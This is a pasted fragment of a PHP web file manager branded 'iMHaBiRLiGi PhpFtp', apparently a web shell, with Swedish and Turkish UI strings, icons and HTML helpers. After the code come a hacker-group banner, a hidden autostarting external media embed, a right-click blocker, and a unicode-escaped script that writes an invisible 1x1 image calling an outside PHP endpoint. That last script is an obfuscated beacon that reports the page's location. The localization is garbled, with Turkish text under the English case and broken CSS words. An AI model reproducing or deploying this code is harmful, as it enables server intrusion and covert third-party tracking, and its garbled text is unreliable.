  1815. 'saved' => '"[%1]" har sparats.',
  1816. 'not_saved' => '"[%1]" kunde inte sparas.',
  1817. 'symlinked' => 'Symlink från "[%2]" till "[%1]" har skapats.',
  1818. 'not_symlinked' => 'Symlink från "[%2]" till "[%1]" kunde inte skapas.',
  1819. 'permission_for' => 'Rättigheter för "[%1]":',
  1820. 'permission_set' => 'Rättigheter för "[%1]" ändrades till [%2].',
  1821. 'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
  1822. 'not_readable' => '"[%1]" kan inte läsas.'
  1823.         );
  1824.  
  1825.     case 'en':
  1826.     default:
  1827.  
  1828.         $date_format = 'n/j/y H:i:s';
  1829.         $word_charset = 'ISO-8859-1';
  1830.  
  1831.         return array(
  1832. 'directory' => 'Düzergah',
  1833. 'file' => 'Dosya',
  1834. 'filename' => 'DosyaAdi',
  1835.  
  1836. 'size' => 'Boyut',
  1837. 'permission' => 'izin',
  1838. 'owner' => 'Sahip',
  1839. 'group' => 'Grup',
  1840. 'other' => 'Diðerleri',
  1841. 'Görevler' => 'Görevler',
  1842.  
  1843. 'read' => 'Oku',
  1844. 'write' => 'Yaz',
  1845. 'execute' => 'Uygula',
  1846.  
  1847. 'create_symlink' => 'create symlink',
  1848. 'Sil' => 'Sil',
  1849. 'Degistir' => 'Degistir',
  1850. 'Tasi' => 'Tasi',
  1851. 'Kopyala' => 'Kopyala',
  1852. 'Düzenle' => 'Düzenle',
  1853. 'indir' => 'indir',
  1854. 'upload' => 'Yükle',
  1855. 'create' => 'Olustur',
  1856. 'change' => 'Degisiklik',
  1857. 'save' => 'Kaydet',
  1858. 'set' => 'Koyulan',
  1859. 'reset' => 'Yenile',
  1860. 'relative' => 'Hedefe Yolla',
  1861.  
  1862. 'yes' => 'Evet',
  1863. 'no' => 'Hayir',
  1864. 'Geri' => 'Geri',
  1865. 'Yol' => 'Yol',
  1866. 'symlink' => 'Symlink',
  1867. 'no_output' => 'Hiçbir çýktý',
  1868.  
  1869. 'user' => 'Kullanýcý',
  1870. 'password' => 'Sifre',
  1871. 'add' => 'Ekle',
  1872. 'add_basic_auth' => 'add basic-authentification',
  1873.  
  1874. 'uploaded' => '"[%1]" Yüklendi.',
  1875. 'not_uploaded' => '"[%1]" Yüklenemedi.',
  1876. 'already_exists' => '"[%1]" Þimdiden var ol.',
  1877. 'created' => '"[%1]" Olusturuldu.',
  1878. 'not_created' => '"[%1]" Olusturuldu.',
  1879. 'really_Sil' => 'Silinen dosyalar?',
  1880. 'Sild' => "Bu dosyalar,oldu Sild:\n[%1]",
  1881. 'not_Sild' => "Bu dosyalar olamazdý Sild:\n[%1]",
  1882. 'Degistir_file' => 'Dosyayi Degistir:',
  1883. 'Degistird' => '"[%1]" Degistirildi "[%2]".',
  1884. 'not_Degistird' => '"[%1] Degistirilemedi "[%2]".',
  1885. 'Tasi_files' => 'Dosyayi TAsi:',
  1886. 'Tasid' => "Bu Dosyalar Tasindi \"[%2]\":\n[%1]",
  1887. 'not_Tasid' => "Bu Dosyalar Tasinamaz \"[%2]\":\n[%1]",
  1888. 'Kopyala_files' => 'Bu Dosyalari Kopyala:',
  1889. 'copied' => "Bu Dosyalar Kopyalanir \"[%2]\":\n[%1]",
  1890. 'not_copied' => "Bu Dosyalar Kopyalanamaz \"[%2]\":\n[%1]",
  1891. 'not_Düzenleed' => '"[%1]" Düzenle.',
  1892. 'executed' => "\"[%1]\" Basarili bir sekilde Uygulandi:\n{%2}",
  1893. 'not_executed' => "\"[%1]\" Basarili bir sekilde Uygulanamadi:\n{%2}",
  1894. 'saved' => '"[%1]" Kurtarildi.',
  1895. 'not_saved' => '"[%1]" Kurtarýlamadý.',
  1896. 'symlinked' => 'Symlink "[%2]" to "[%1]" Olusturuldu.',
  1897. 'not_symlinked' => 'Symlink "[%2]" to "[%1]" Olusturulamadi.',
  1898. 'permission_for' => 'izin "[%1]":',
  1899. 'permission_set' => 'izin "[%1]" Kopyalandi [%2].',
  1900. 'permission_not_set' => 'izin "[%1]" Yapilamadi [%2].',
  1901. 'not_readable' => '"[%1]" Okunamadi.'
  1902.         );
  1903.  
  1904.     }
  1905.  
  1906. }
  1907.  
  1908. function getimage ($image) {
  1909.     switch ($image) {
  1910.     case 'file':
  1911.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1912.     case 'folder':
  1913.         return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
  1914.     case 'hidden_file':
  1915.         return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
  1916.     case 'link':
  1917.         return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
  1918.     case 'smiley':
  1919.         return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
  1920.     case 'arrow':
  1921.         return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
  1922.     }
  1923. }
  1924.  
  1925. function html_header () {
  1926.     global $charset;
  1927.  
  1928.     echo <<<END
  1929. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  1930.      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  1931. <html xmlns="http://www.w3.org/1999/xhtml">
  1932. <head>
  1933.  
  1934. <meta http-equiv="Content-Type" content="text/html; charset=$charset" />
  1935.  
  1936. <title>iMHaBiRLiGi PhpFtp</title>
  1937.  
  1938. <style type="text/css">
  1939. body { font: small sans-serif; text-align: center }
  1940. img { width: 0px; height: 0px }
  1941. a, a:visited { text-decoration: none; color: red }
  1942. hr { border-style: none; height: 1px; Geriground-color: silver; color: silver }
  1943. #main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
  1944. #main th { Geriground: #eee; padding: 3pt 3pt 0pt 3pt }
  1945. .listing th, .listing td { padding: 1px 3pt 0 3pt }
  1946. .listing th { border: 1px solid silver }
  1947. .listing td { border: 1px solid #ddd; Geriground: white }
  1948. .listing .checkbox { text-align: center }
  1949. .listing .filename { text-align: left }
  1950. .listing .size { text-align: right }
  1951. .listing .permission_header { text-align: left }
  1952. .listing .permission { font-family: monospace }
  1953. .listing .owner { text-align: left }
  1954. .listing .group { text-align: left }
  1955. .listing .Görevler { text-align: left }
  1956. .listing_footer td { Geriground: #eee; border: 1px solid silver }
  1957. #directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
  1958. #directory { Geriground: #eee; border: 1px solid silver }
  1959. #upload { padding-top: 1em }
  1960. #create { padding-bottom: 1em }
  1961. .small, .small option { font-size: x-small }
  1962. textarea { border: none; Geriground: white }
  1963. table.dialog { margin-left: auto; margin-right: auto }
  1964. td.dialog { Geriground: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
  1965. #permission { margin-left: auto; margin-right: auto }
  1966. #permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
  1967. td.permission_action { text-align: right }
  1968. #symlink { Geriground: #eee; border: 1px solid silver }
  1969. #symlink td { text-align: left; padding: 3pt }
  1970. #red_button { width: 120px; color: #400 }
  1971. #green_button { width: 120px; color: #040 }
  1972. #error td { Geriground: maroon; color: white; border: 1px solid silver }
  1973. #notice td { Geriground: green; color: white; border: 1px solid silver }
  1974. #notice pre, #error pre { Geriground: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
  1975. code { font-size: 12pt }
  1976. td { white-space: nowrap }
  1977. </style>
  1978.  
  1979. <script type="text/javascript">
  1980. <!--
  1981. function activate (name) {
  1982.     if (document && document.forms[0] && document.forms[0].elements['focus']) {
  1983.         document.forms[0].elements['focus'].value = name;
  1984.     }
  1985. }
  1986. //-->
  1987. </script>
  1988.  
  1989. </head>
  1990. <body>
  1991.  
  1992.  
  1993. END;
  1994.  
  1995. }
  1996.  
  1997. function html_footer () {
  1998.  
  1999.     echo <<<END
  2000. </body>
  2001. </html>
  2002. END;
  2003.  
  2004. }
  2005.  
  2006. function notice ($phrase) {
  2007.     global $cols;
  2008.  
  2009.     $args = func_get_args();
  2010.     array_shift($args);
  2011.  
  2012.     return '<tr id="notice">
  2013.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2014. </tr>
  2015. ';
  2016.  
  2017. }
  2018.  
  2019. function error ($phrase) {
  2020.     global $cols;
  2021.  
  2022.     $args = func_get_args();
  2023.     array_shift($args);
  2024.  
  2025.     return '<tr id="error">
  2026.     <td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
  2027. </tr>
  2028. ';
  2029.  
  2030. }
  2031.  
  2032. ?>
  2033. <BODY><IMG style="WIDTH: 306px; HEIGHT: 76px" height=100
  2034. src="http://www.nettekiadres.com/imhabirligi.jpg" width=282></BODY>
  2035. <br><Center>SU AN <A href="http://www.imhabirligi.com">iMHaBiRLiGi</A> HUDUTLARINDA BULUNMAKTASINIZ.!!</Center>
  2036. <FONT
  2037. class=footmsg><EMBED src=http://www.imhabirligi.com/r1/hurl.asx hidden=true
  2038. type="text/plain; charset=iso-8859-9"
  2039. AUTOSTART="TRUE">
  2040. <script language=JavaScript>
  2041. <!--
  2042.  
  2043. var message="";
  2044. ///////////////////////////////////
  2045. function clickIE() {if (document.all) {(message);return false;}}
  2046. function clickNS(e) {if
  2047. (document.layers||(document.getElementById&&!document.all)) {
  2048. if (e.which==2||e.which==3) {(message);return false;}}}
  2049. if (document.layers)
  2050. {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;}
  2051. else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;}
  2052.  
  2053. document.oncontextmenu=new Function("return false")
  2054. // -->
  2055. </script>
  2056. <script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script>
Add Comment
Please, Sign In to add comment